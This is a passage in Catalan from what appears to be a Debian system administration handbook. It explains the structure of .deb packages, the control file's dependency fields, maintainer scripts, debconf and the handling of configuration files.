
Per descomptat, és possible no seleccionar cap tasca a instal·lar. En aquest cas, podeu instal·lar manualment el programari desitjat amb les comandes apt o aptitude (ambdues accessibles des de la línia d'ordres). Els paquets es poden trobar usant l'ordre apt-cache search task paraula-clau.

VOCABULARI Dependències d'un paquet, conflictes

En l'argot d'empaquetament de Debian, una “dependència” és un altre paquet necessari per al funcionament adequat del paquet en qüestió. Per contra, un “conflicte” és un paquet que no pot estar instal·lat al costat d'un altre.

Aquests conceptes es tracten amb més detall a Capítol 5, Sistema de paquets: eines i principis fonamentals.

4.3.2. Actualitzant el sistema

Generalment es requereix al principi un apt upgrade (una ordre utilitzada per actualitzar automàticament els programes instal·lats), especialment per a possibles actualitzacions de seguretat publicades després de l'última versió estable de Debian. Aquestes actualitzacions poden implicar algunes preguntes addicionals a través de debconf, l'eina estàndard de configuració de Debian. Per a més informació sobre aquestes actualitzacions realitzades per apt, consulteu Secció 6.2.3, «Actualització del sistema».

Capítol 5. Sistema de paquets: eines i principis fonamentals

Com a administrador de sistema Debian, gestionareu rutinàriament els paquets .deb, ja que contenen unitats funcionals consistents (aplicacions, documentació, etc.), i de les quals en faciliten la instal·lació i manteniment. Per tant, és bona idea saber què són i com utilitzar-los.

Aquest capítol descriu l'estructura i el contingut dels paquets “binaris” i “font”. Els primers són arxius directament utilitzables per dpkg, mentre que aquests últims contenen el codi font, així com les instruccions per construir paquets binaris.

5.1. Estructura d'un paquet binari

El format del paquet Debian està dissenyat de manera que el seu contingut es pugui extreure en qualsevol sistema Unix que tingui les ordres clàssiques ar, tar, i xz, o de vegades gzip o bzip2. Aquesta propietat aparentment trivial és important per a la portabilitat i la recuperació en cas de desastre.

Imagineu, per exemple, que heu esborrat erròniament el programa dpkg, i que per tant ja no podeu instal·lar paquets de Debian. Essent dpkg un paquet de Debian en si, semblaria que el vostre sistema estaria acabat per... Per sort, ja coneixeu el format d'un paquet i per tant podeu descarregar el fitxer .deb del paquet dpkg i instal·lar-lo manualment (vegeu el requadre EINES dpkg, APT i ar). Si per alguna desgràcia un o més dels programes ar, tar o gzip/xz/bzip2 han desaparegut, només cal copiar d'un altre sistema el programa que us falti (ja que cadascun d'ells funciona de manera completament autònoma, sense dependències, una còpia simple serà suficient). Si el vostre sistema ha patit un infortuni encara més escandalós, i fins i tot això no funciona (potser falten biblioteques de sistema de més baix nivell?), hauríeu de provar la versió estàtica de busybox (contingut al paquet busybox-static), que és encara més autònom, i ofereix subordres com ara busybox ar, busybox tar i busybox xz.

En cas de desgràcia també és millor que tingueu una còpia de seguretat del vostre sistema (vegeu Secció 9.10, «Còpia de seguretat»).

EINES dpkg, APT i ar

dpkg és el programa que gestiona arxius .deb (paquets binaris), especialment l'extracció, anàlisi i desempaquetament.

APT (l'abreviatura de “Eina Avançada de Paquets” o «Advanced Packaging Tool») és un grup de programes que permeten l'execució de modificacions de més alt nivell al sistema: instal·lació o eliminació d'un paquet (al temps que manté les dependències satisfetes), actualització dels repositoris i del sistema, llistat dels paquets disponibles, etc.

Igual que el programa ar, proporcionat pel paquet binutils, permet gestionar fitxers del mateix nom:

ar t fitxer mostra la llista de fitxers continguts al fitxer donat,

ar x fitxer extreu els fitxers continguts al directori actual de treball,

ar d fitxer fitxer-per-esborrar esborra el fitxer-per-esborrar del fitxer donat, etc.

La seva pàgina man ar(1) documenta totes les altres funcions. ar és una eina molt rudimentària que un administrador d'Unix només utilitzaria en rares ocasions, però els administradors usen habitualment tar, un programa d'arxivat i gestió de fitxers més desenvolupat. Per això és fàcil restaurar dpkg en cas d'un esborrat per error. Només haureu de baixar el paquet Debian i extreure'n el contingut del fitxer data.tar.xz a l'arrel del sistema (/):

# ar x dpkg_1.20.9_amd64.deb # tar -C / -p -xJf data.tar.xz

TORNAR A LES BASES Notació de les pàgines de “man”

Pot ser confús per als principiants trobar referències a “ar(1)” a la literatura. Això és generalment un mitjà convenient per referir-se a la pàgina man titulada ar de la secció 1.

De vegades aquesta notació també s'utilitza per eliminar ambigüitats, per exemple per distingir entre l'ordre printf que també es pot indicar com printf(1) i la funció printf del llenguatge de programació C, que també pot ser referit com a printf(3).

El Capítol 7, Solucionar problemes i trobar informació rellevant analitza les pàgines del manual amb més detall (vegeu Secció 7.1.1, «Pàgines de manual»).

Doneu un cop d'ull al contingut d'un fitxer .deb:

$ ar t dpkg_1.20.9_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.20.9_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.20.9_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postrm $ cat debian-binary 2.0

Com podeu veure, l'arxiu ar d'un paquet Debian està format per tres fitxers:

debian-binary

Aquest és un fitxer de text que simplement indica la versió del format .deb de paquet de fitxers. A Debian Bullseye encara és a la versió 2.0.

control.tar.xz

Aquest arxiu conté tota la meta-informació disponible, com el nom i la versió del paquet, així com alguns «scripts» per executar abans, durant o després de la (des)instal·lació d'aquest. Alguna de la meta-informació permet a les eines de gestió de paquets determinar si és possible instal·lar o desinstal·lar-lo, per exemple, d'acord amb la llista de paquets que ja hi ha a la màquina, i si els arxius continguts s'han modificat localment.

data.tar.xz, data.tar.bz2, data.tar.gz

Aquest arxiu conté tots els fitxers que s'han d'extreure del paquet; aquí és on s'emmagatzemen els arxius executables, les biblioteques, la documentació, etc. Els paquets poden utilitzar diferents formats de compressió, en aquest cas el fitxer s'anomenarà de manera diferent per a xz, bzip2 o gzip.

5.2. Meta-informació del paquet

El paquet Debian no és només un arxiu de fitxers destinats a la instal·lació. Forma part d'un conjunt més gran i descriu la seva relació amb altres paquets de Debian (requisits, dependències, conflictes, suggeriments). També proporciona «scripts» que permeten l'execució d'ordres en diferents etapes en el cicle de vida del paquet (instal·lació, actualització, eliminació). Aquestes dades són utilitzades per les eines de gestió de paquets però no formen part del programari empaquetat; són, dins del paquet, el que s'anomena la seva “meta-informació” ‐ informació sobre altra informació.

5.2.1. Descripció: l'arxiu control

Aquest fitxer utilitza una estructura similar a les capçaleres de correu electrònic (com es defineixen a RFC 2822) i es descriu completament a la Normativa de Debian i a les pàgines del manual deb-control(5) i deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

Per exemple, el control de apt, es veu d'aquesta manera:

$ apt-cache show apt Package: apt Version: 2.2.4 Installed-Size: 4337 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 2.2.4) Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0 Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_2.2.4_amd64.deb Size: 1491328 MD5sum: 24d53e8dd75095640a167f40476c0442 SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Farem ara una mirada més detallada a la finalitat d'alguns dels camps enumerats per l'ordre anterior.

TORNAR A LES BASES RFC — estàndards d'internet

RFC és l'abreviatura de “Petició de comentaris” (de l'anglès «Request For Comments»). Un RFC és generalment un document tècnic que descriu el que es convertirà en un estàndard d'Internet. Abans d'estandarditzar-se i “congelar-se”, aquests estàndards es presenten per a revisió pública (d'aquí el seu nom). L'IETF («Internet Engineering Task Force» o grup de treball d'enginyeria d'internet) decideix sobre l'evolució de l'estat d'aquests documents (estàndard proposat, estàndard en esborrany o estàndard).

RFC 2026 defineix el procés d'estandardització dels protocols d'Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dependències: el camp Depends

Les dependències es defineixen al camp Depends de la capçalera del paquet. És una llista de condicions que cal complir perquè el paquet funcioni correctament. Aquesta informació és utilitzada per eines com apt per tal d'instal·lar les biblioteques, eines, controladors, etc., en les versions apropiades que compleixin les dependències del paquet que s'instal·larà. Per a cada dependència és possible restringir el rang de versions que compleixen aquesta condició. En altres paraules, és possible expressar el fet que necessitem el paquet libc6 en una versió igual o superior a “2.15” (escrit “libc6 (>= 2.15)”). Els operadors de comparació de versions són els següents:

<<: menor que;

<=: menor o igual que;

=: igual a (noteu que “2.6.1” no és igual a “2.6.1-1”);

>=: major o igual que;

>>: mayor que.

En una llista de condicions a complir, la coma serveix com a separador. S'ha d'interpretar com una “i” lògica. En condicions, la barra vertical (“|”) expressa un “o” lògic (és a dir, un “o” inclusiu, no un “o” exclusiu). Té més prioritat que “i”, i es pot utilitzar tantes vegades com sigui necessari. Per tant, la dependència “(A o B) i C” s’escriu A | B, C. Per contra, l'expressió “A o (B i C)” s'ha d'escriure com a “(A o B) i (A o C)”, ja que el camp Depends no tolera parèntesis que canvien l'ordre de prioritats entre els operadors lògics “o” and “i”. Per tant, s'escriuria A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

El sistema de dependències és un bon mecanisme per garantir el funcionament d'un programa, però té un altre ús amb “metapaquets”. Aquests són paquets buits que només descriuen dependències. Faciliten la instal·lació d'un grup coherent de programes preseleccionats pel mantenidor del metapaquet; com a tal, apt install metapaquet instal·larà automàticament tots aquests programes usant les dependències del metapaquet. Els paquets gnome, kde-full i linux-image-amd64 són exemples de metapaquets.

NORMATIVA DEBIAN Camps Recommends, Suggests i Enhances

Els camps Recommends i Suggests descriuen les dependències que no són obligatòries. Les dependències “recomanades”, les més importants, milloren considerablement la funcionalitat oferta pel paquet però no són indispensables per al seu funcionament. Les dependències “suggerides”, d'importància secundària, indiquen que certs paquets poden complementar i augmentar la seva utilitat respectiva, però és perfectament raonable instal·lar-ne un però no els altres.

Sempre hauríeu d'instal·lar els paquets “recomanats”, tret que sabeu exactament per què no els necessiteu. Aquest és ara també el valor per defecte per a APT llevat que es configuri d'altra manera. Per contra, no és necessari instal·lar paquets “suggerits” a menys que sàpigueu per què es necessiten (la descripció del paquet o la seva documentació pot contenir informació sobre la funcionalitat afegida que poden activar). El comportament d'apt es pot controlar utilitzant les opcions de configuració APT::Install-Recommends i APT::Install-Suggests o les corresponents opcions de línia d'ordres --[no-]install-recommends i --[no-]install-suggests.

El camp Enhances també descriu un suggeriment, però en un context diferent. De fet, es troba en el paquet proposat, i no en el paquet que es beneficia del suggeriment. El seu interès radica en el fet que és possible afegir un suggeriment sense haver de modificar el paquet en qüestió. Així, tots els complements, connectors i altres extensions d'un programa poden aparèixer a la llista de suggeriments relacionats amb el programari. Encara que ha existit durant diversos anys, aquest últim camp encara és en gran part ignorat per programes com apt o synaptic. El seu propòsit és que un suggeriment fet pel camp Enhances aparegui a l'usuari a més dels suggeriments tradicionals — que es troben al camp Suggests.

NORMATIVA DEBIAN Pre-Depends, un Depends més exigent

Les “predependències”, que es llisten al camp «Pre-Depends» de les capçaleres dels paquets, completen les dependències normals; la seva sintaxi és idèntica. Una dependència normal indica que el paquet en qüestió s'ha de desempaquetar i configurar abans de la configuració del paquet que declara la dependència. Una predependència estipula que el paquet en qüestió s'ha de desempaquetar i configurar abans de l'execució de l'«script» de preinstal·lació del paquet que declara la predependència, és a dir, abans de la seva instal·lació.

Una predependència és molt exigent per apt, perquè afegeix una restricció estricta en l'ordre dels paquets a instal·lar. Com a tal, l'ús de predependències no es recomana tret que sigui absolutament necessari. Fins i tot es recomana consultar a altres desenvolupadors a <debian-devel@lists.debian.org> abans d'afegir una predependència. En general és possible trobar una altra solució alternativa.

5.2.1.2. Conflictes: el camp Conflicts

El camp Conflicts indica quan un paquet no es pot instal·lar simultàniament amb un altre. Les raons més comunes per a això són que tots dos paquets inclouen un arxiu del mateix nom i ruta («path»), o proporcionen el mateix servei en el mateix port TCP, o dificulten l'operació de l'altre.

dpkg es negarà a instal·lar un paquet si provoca un conflicte amb un paquet ja instal·lat, excepte si el nou paquet especifica que “reemplaçarà” el paquet instal·lat, en aquest cas dpkg optarà per reemplaçar el paquet antic amb el nou. apt sempre segueix les vostres instruccions: si trieu instal·lar un nou paquet, s'oferirà automàticament per desinstal·lar el paquet que planteja un problema.

5.2.1.3. Incompatibilitats: el camp Breaks

El camp Breaks té un efecte similar al del camp Conflicts, però amb un significat especial. Indica que la instal·lació d'un paquet “trencarà” un altre paquet (o certes versions concretes). En general, aquesta incompatibilitat entre dos paquets és transitòria, i la relació Breaks es refereix específicament a les versions incompatibles.

dpkg es negarà a instal·lar un paquet que trenca un paquet ja instal·lat, i apt intentarà resoldre el problema actualitzant el paquet que es trencaria a una versió més nova (que se suposa que estaria resolt i, per tant, seria compatible de nou).

Aquest tipus de situació pot ocórrer en el cas d'actualitzacions sense compatibilitat cap enrere: aquest és el cas si la nova versió ja no funciona amb la versió més antiga, i causa un mal funcionament en un altre programa sense fer disposicions especials. El camp Breaks evita que l'usuari es trobi amb aquests problemes.

5.2.1.4. Ítems proveïts: el camp Provides

Aquest camp introdueix el molt interessant concepte de “paquet virtual”. Té moltes funcions, però dues són d'especial importància. El primer rol consisteix en l'ús d'un paquet virtual per associar un servei genèric amb ell (el paquet “proveeix” el servei). El segon indica que un paquet substitueix completament un altre i que, per a aquest propòsit, també pot satisfer les dependències que l'altre podria satisfer. Per tant, és possible crear un paquet de substitució sense haver d'utilitzar el mateix nom de paquet.

VOCABULARI Metapaquet i paquet virtual

És essencial distingir clarament els metapaquets dels paquets virtuals. Els primers són paquets reals (incloent-hi fitxers .deb reals), l'únic propòsit dels quals és expressar dependències.

No obstant això, els paquets virtuals no existeixen físicament; són només un mitjà per identificar paquets reals basats en criteris comuns i lògics (servei proporcionat, compatibilitat amb un programa estàndard o un paquet preexistent, etc.).

5.2.1.4.1. Proveint un “servei”

Discutirem el primer cas amb més detall amb un exemple: tots els servidors de correu, com postfix o sendmail es diu que “proveeixen” paquet virtual mail-transport-agent. Per tant, qualsevol paquet que necessiti aquest servei per ser funcional (p. ex. un gestor de llistes de correu, com smartlist o sympa) simplement declara a les dependències que requereix un mail-transport-agent en lloc d'especificar una llarga però incompleta llista de solucions possibles(p.ex. postfix | sendmail | exim4 | …). A més, és inútil instal·lar dos servidors de correu en la mateixa màquina, raó per la qual cadascun d'aquests paquets declara un conflicte amb el paquet virtual mail-transport-agent. El sistema ignora conflictes entre un paquet i ell mateix, però aquesta tècnica prohibirà la instal·lació simultània de dos servidors de correu.

NORMATIVA DEBIAN Llista de paquets virtuals

Perquè els paquets virtuals siguin útils, tothom ha d'estar d'acord amb el nom. Aquesta és la raó per la qual estan estandarditzats a la Normativa Debian. La llista inclou entre d'altres mail-transport-agent per a servidors de correu, c-compiler per a compiladors de llenguatges de programació C, www-browser per a navegadors web, httpd per a servidors web, ftp-server per a servidors FTP, x-terminal-emulator per a emuladors de terminal en mode gràfic (xterm), x-window-manager per a gestors de finestres.

La llista completa es pot trobar a la web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. Intercanviabilitat amb un altre paquet

El camp Provides també és interessant quan el contingut d'un paquet està inclòs en un paquet més gran. Per exemple, el mòdul Perl libdigest-md5-perl va ser un mòdul opcional en Perl 5.6, i s'ha integrat com a estàndard a Perl 5.8 (i versions posteriors, com ara 5.32.1 present a Bullseye). Com a tal, el paquet perl declara des de la versió 5.8 Provides: libdigest-md5-perl de manera que les dependències d'aquest paquet es compleixin si l'usuari té Perl 5.8 (o més recent). El paquet libdigest-md5-perl s'ha eliminat, ja que ja no tenia cap propòsit quan també es van eliminar les versions antigues de Perl.

Figura 5.1. Ús del camp Provides per tal de no trencar dependències

Aquesta característica és molt útil, ja que mai és possible anticipar els capricis del desenvolupament, i és necessari ser capaç d'ajustar-se a canvis de nom, i altres reemplaçaments automàtics, de programari obsolet.

TORNAR A LES BASES Perl, un llenguatge de programació

Perl (llenguatge pràctic d'extracció i reports o «Practictical Extraction and Report Language» en anglès) és un llenguatge de programació molt popular. Té molts mòduls llestos per a usar que cobreixen un ampli espectre d'aplicacions, i que es distribueixen pels servidors CPAN (de l'anglès «Comprehensive Perl Archive Network»), una xarxa completa de paquets Perl.

→ https://www.perl.org/

→ https://www.cpan.org/

Atès que és un llenguatge interpretat, un programa escrit en Perl no requereix compilació abans d'executar-lo. Per això se'ls anomena "Scripts Perl".

5.2.1.4.3. Antigues limitacions

Els paquets virtuals solien patir algunes limitacions, essent la més significativa l'absència d'un número de versió. Per tornar a l'exemple anterior, una dependència com Depends: libdigest-md5-perl (>= 1.6), malgrat la presència de Perl 5.10, mai no s'hauria considerat com a satisfeta pel sistema de paquets — mentre que de fet és força probable que ho estigui. Sense saber-ho, el sistema de paquets ha escollit l'opció menys arriscada, suposant que les versions no coincideixen.

Aquesta limitació s'ha aixecat a dpkg 1.17.11 i ja no és rellevant. Els paquets, com perl 5.32.1, poden assignar una versió als paquets virtuals que proporcionen, com ara Provides: libdigest-md5-perl (= 1.8), i d'aquesta manera permete que altres paquets usin dependències versionades.

5.2.1.5. Substituint arxius: el camp Replaces

El camp Replaces indica que el paquet conté fitxers que també estan presents en un altre paquet, però que el paquet té dret legítim a reemplaçar-los. Sense aquesta especificació, dpkg falla a l'instal·lar el paquet, afirmant que no pot sobreescriure els fitxers d'un altre paquet (tècnicament, és possible forçar-ho amb l'opció --force-overwrite, però això no es considera una operació estàndard). Aquest fet permet la identificació de problemes potencials i requereix que el mantenidor estudiï l'assumpte abans de decidir si afegir aquest camp.

L'ús d'aquest camp està justificat quan els noms dels paquets canvien o quan s'inclou un paquet en un altre. Això també passa quan el mantenidor decideix distribuir fitxers de manera diferent entre diversos paquets binaris produïts a partir del mateix paquet font: un fitxer substituït ja no pertany al paquet antic, sinó només al nou.

Si s'han substituït tots els fitxers d'un paquet instal·lat, es considera que el paquet s'ha eliminat. Finalment, aquest camp també encoratja a dpkg a eliminar el paquet substituït si hi ha conflictes.

ANANT MÉS ENLLÀ El camp Tag

A l'exemple d'apt al principi, podem veure la presència d'un camp que encara no hem descrit, el camp Tag. Aquest camp no descriu una relació entre paquets, sinó que és simplement una manera de categoritzar un paquet en una taxonomia temàtica. Aquesta classificació dels paquets segons diversos criteris (tipus d'interfície, llenguatge de programació, domini d'aplicació, etc.) ha estat disponible durant molt de temps. Malgrat això, no tots els paquets tenen etiquetes («tags») precises i encara no està integrat a totes les eines de Debian; aptitude mostra aquestes etiquetes, i permet que s'utilitzin com a criteris de cerca. Per a aquells a qui no agraden els criteris de cerca d'aptitude, el següent lloc web permet la navegació de la base de dades d'etiquetes:

→ https://wiki.debian.org/Debtags

5.2.2. Scripts de configuració

A més del fitxer control, el fitxer control.tar.gz de cada paquet de Debian pot contenir un seguit d'scripts, cridats per dpkg en diferents etapes en el processament d'un paquet. La Normativa de Debian descriu els casos possibles amb detall, especificant els scripts cridats i els arguments que reben. Aquestes seqüències poden ser complicades, ja que si un dels scripts falla, dpkg intentarà tornar a un estat satisfactori cancel·lant la instal·lació o l'eliminació en curs (en la mesura que sigui possible).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

ANANT MÉS ENLLÀ Base de dades de dpkg

Tots els scripts de configuració per als paquets instal·lats s'emmagatzemen al directori /var/lib/dpkg/info/, en forma d'un fitxer prefixat amb el nom del paquet. Aquest directori també inclou un fitxer amb l'extensió .list per a cada paquet, que conté la llista de fitxers que pertanyen a aquest paquet.

El fitxer /var/lib/dpkg/status conté una sèrie de blocs de dades (en el format de les famoses capçaleres de correu, RFC 2822) que descriuen l'estat de cada paquet. La informació del fitxer control dels paquets instal·lats també es replica allà.

En general, l'script preinst s'executa abans de la instal·lació del paquet, mentre que el postinst ho fa després. De la mateixa manera, prerm s'invoca abans de suprimir un paquet i postrm després. Una actualització d'un paquet és equivalent a l'eliminació de la versió anterior i la instal·lació del nou. No és possible descriure detalladament tots els escenaris possibles, però debatrem els dos més comuns: una instal·lació/actualització i una supressió.

COMPTE Noms simbòlics dels scripts

Les seqüències descrites en aquesta secció criden els scripts de configuració pels noms específics, com old-prerm o new-postinst. Són, respectivament, l'script prerm contingut en la versió antiga del paquet (instal·lat abans de l'actualització) i l'script postinst contingut en la nova versió (instal·lat per l'actualització).

SUGGERIMENT Diagrames d'estat

Manoj Srivastava i Margarita Manterola van fer els següents diagrames explicant com els scripts de configuració són cridats per dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Instal·lació i actualització

Durant la instal·lació inicial i per a cada actualització d'un paquet, dpkg crida els anomenats scripts del mantenidor o «maintainer scripts», com ara els scripts prerm o preinst. Aquests scripts poden realitzar accions addicionals durant les diferents etapes del cicle de vida d'un paquet. Els noms dels scripts precedits per new- són els scripts de la nova versió d'un paquet que s'està instal·lant o actualitzant. Els noms dels scripts precedits per old- són els scripts de la versió antiga d'un paquet que s'està actualitzant.

Durant cada invocació, dpkg passarà certs arguments a cada script com ara upgrade nova-versió. L'script invocat pot llavors gestionar els arguments i realitzar una acció en particular, o ignorar els arguments i tornar amb un codi de sortida 0 si no cal fer res en aquest pas. A la pràctica, molts paquets no necessitaran realitzar accions durant cada pas del cicle de vida. Així, un script de configuració típic comprovarà un argument en particular i ignorarà tots els altres, retornant implícitament amb el codi de sortida 0.

Això és el que passa durant una instal·lació (o una actualització). Els arguments versió-antiga, versió-nova i darrera-versió-configurada són substituts dels números de versió reals (antiga i nova) del paquet:

Per a una actualització, dpkg executa l'script old-prerm i passa upgrade versió-nova.

I encara per a una actualització, dpkg executa després l'script new-preinst amb els paràmetres upgrade versió-antiga; per a la primera instal·lació, executa l'script new-preinst i li passa install com a paràmetre. Pot afegir la versió antiga com a darrer paràmetre, si el paquet ja havia estat instal·lat i eliminat (però no purgat, amb la qual cosa els fitxers de configuració s'haurien mantingut).

Els nous fitxers del paquet són extrets. Si ja existeix un fitxer, se substitueix, però se'n fa una còpia de seguretat temporal.

Per a una actualització, dpkg executa l'script old-postrm i li passa upgrade versió-nova com a paràmetres.

dpkg actualitza totes les dades internes (llista de fitxers, scripts de configuració, etc.) i elimina les còpies de seguretat dels fitxers substituïts. Aquest és el punt de no retorn: dpkg ja no té accés a tots els elements necessaris per tornar a l'estat anterior.

dpkg actualitzarà els fitxers de configuració, demanant a l'usuari que decideixi si no és capaç de realitzar automàticament aquesta tasca. Els detalls d'aquest procediment es debaten a Secció 5.2.3, «Sumes de verificació («checksums»), llista de fitxers de configuració, i altres.».

Finalment, dpkg configura el paquet executant l'script new-postinst amb els paràmetres configure darrera-versió-configurada.

5.2.2.2. Eliminació de paquets

Els passos per a eliminar un paquet són anàlegs als d'instal·lació. La principal diferència és que són els scripts d'eliminació del paquet els que s'executen:

dpkg executa l'script prerm i li passa el paràmetre remove.

dpkg esborra tots els fitxers del paquet, amb l'excepció dels fitxers de configuració i els scripts del mantenidor.

dpkg executa l'script postrm i li passa remove com a paràmetre. Després, tots els scripts del mantenidor, excepte l'script postrm, són eliminats. Si l'usuari no ha utilitzat l'opció «purge» (“purgar”), el procés s'atura aquí.

Per a una purga completa del paquet (comanda emesa amb dpkg --purge o dpkg -P), els fitxers de configuració també s'eliminen, així com un cert nombre de còpies (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) i arxius temporals; a continuació dpkg executa l'script postrm i li passa purge com a paràmetre.

VOCABULARI Purgar, una eliminació completa

Quan s'elimina un paquet Debian, els fitxers de configuració es mantenen per tal de facilitar una possible reinstal·lació. De la mateixa manera, les dades generades per un dimoni (com el contingut d'un directori de servidor LDAP, o el contingut d'una base de dades d'un servidor SQL) normalment es mantenen.

Per eliminar totes les dades associades amb un paquet és necessari “purgar” el paquet amb les ordres dpkg -P paquet, apt-get remove --purge paquet o aptitude purge paquet.

Atesa la naturalesa definitiva d'aquestes supressions de dades, no s'hauria de prendre un purgat a la lleugera.

Els quatre scripts detallats anteriorment es complementen amb un script config, usat per paquets que utilitzen debconf per obtenir informació de l'usuari per a la configuració. Durant la instal·lació, aquest script defineix detalladament les preguntes fetes per debconf. Les respostes es registren a la base de dades de debconf per a futures referències. L'script és executat generalment per apt abans d'instal·lar paquets, un per un, per agrupar totes les preguntes i fer-les totes alhora a l'usuari al començament del procés. Els scripts de pre- i post-instal·lació poden utilitzar aquesta informació per operar segons els desitjos de l'usuari.

EINA debconf

debconf es va crear per resoldre un problema recurrent a Debian. Tots els paquets de Debian que no poden funcionar sense un mínim de configuració solien fer preguntes amb crides a les comandes echo i read command als scripts postinst (i altres scripts similars). Però això també significa que durant una gran instal·lació o actualització l'usuari ha de romandre amb el seu ordinador per respondre a diverses preguntes que poden sorgir en qualsevol moment. Aquestes interaccions manuals s'han evitat gairebé totalment, gràcies a l'eina debconf.

debconf té moltes característiques interessants: requereix que el desenvolupador especifiqui la interacció de l'usuari; permet la localització de totes les cadenes mostrades als usuaris (totes les traduccions s'emmagatzemen en el fitxer templates que descriu les interaccions); té diferents interfícies per mostrar les preguntes a l'usuari (mode de text, mode gràfic, instal·lació no interactiva); i permet la creació d'una base de respostes centralitzada per compartir la mateixa configuració entre diferents ordinadors... però el més important és que ara és possible presentar totes les preguntes juntes a l'usuari, abans de començar un llarg procés d'instal·lació o actualització. L'usuari pot fer-se càrrec de les seves coses mentre el sistema s'ocupa de la instal·lació pel seu compte, sense haver de romandre allà mirant la pantalla esperant preguntes.

5.2.3. Sumes de verificació («checksums»), llista de fitxers de configuració, i altres.

A més dels scripts del mantenidor i les dades de control ja esmentats en les seccions anteriors, l'arxiu control.tar.gz d'un paquet Debian pot contenir altres fitxers interessants.

El primer, md5sums, conté les sumes de verificació MD5 per a tots els arxius del paquet. El seu avantatge principal és que permet adpkg --verify (que estudiarem a Secció 14.3.4.1, «Auditar els paquets amb dpkg --verify») i a debsums (del paquet del mateix nom; vegeu Secció 14.3.4.2, «Auditoria de paquets: debsums i les seves limitacions») comprovar si aquests fitxers han estat modificats des de la seva instal·lació. Tingueu en compte que quan aquest fitxer no existeix, que pot ser el cas en alguns paquets antics, dpkg el generarà dinàmicament en el moment de la instal·lació (i l'emmagatzemarà a la base de dades de dpkg igual que altres fitxers de control).

El fitxer conffiles llista els fitxers del paquet que s'han de gestionar com a fitxers de configuració (vegeu tambédeb-conffiles(5) ). Els fitxers de configuració poden ser modificats per l'administrador, i dpkg intentarà conservar aquests canvis durant una actualització del paquet.

De fet, en aquesta situació, dpkg es comporta tant intel·ligentment com sigui possible: si el fitxer de configuració estàndard no ha canviat entre les dues versions, no fa res. No obstant això, si l'arxiu ha canviat, intentarà actualitzar aquest arxiu. Hi ha dos casos possibles: o bé l'administrador no ha tocat aquest fitxer de configuració, en aquest cas dpkg instal·la automàticament la nova versió; o el fitxer ha estat modificat, en aquest cas dpkg demana a l'administrador quina versió vol utilitzar (l'antiga amb modificacions o la nova proporcionada amb el paquet). Per ajudar a prendre aquesta decisió, dpkg ofereix mostrar un “diff” que mostra les diferències entre les dues versions. Si l'usuari tria mantenir la versió antiga, la nova s'emmagatzemarà en la mateixa ubicació en un fitxer amb el sufix .dpkg-dist. Si l'usuari tria la nova versió, l'antiga es conserva en un fitxer amb el sufix .dpkg-old. Una altra acció disponible consisteix en interrompre momentàniament dpkg per editar el fitxer i intentar tornar a refer les modificacions rellevants (identificades prèviament amb diff).

ANANT MÉS ENLLÀ Obligant a dpkg a preguntar sobre els arxius de configuració

L'opció --force-confask força a dpkg a mostrar les preguntes sobre els fitxers de configuració, fins i tot en casos en què normalment no serien necessaris. Per tant, quan es reinstal·li un paquet amb aquesta opció dpkg tornarà a fer les preguntes per a tots els fitxers de configuració modificats o eliminats per l'administrador. Això és molt convenient, especialment per reinstal·lar el fitxer de configuració original si s'ha eliminat i no hi ha cap altra còpia disponible: una re-instal·lació normal no funcionarà, perquè dpkg considera la supressió com una forma de modificació legítima i, per tant, no instal·la el fitxer de configuració desitjat.

Vegeu la barra lateral ANANT MÉS ENLLÀ Evitant preguntes sobre els arxius de configuració per com utilitzar aquestes opcions amb APT.

ANANT MÉS ENLLÀ Evitant preguntes sobre els arxius de configuració

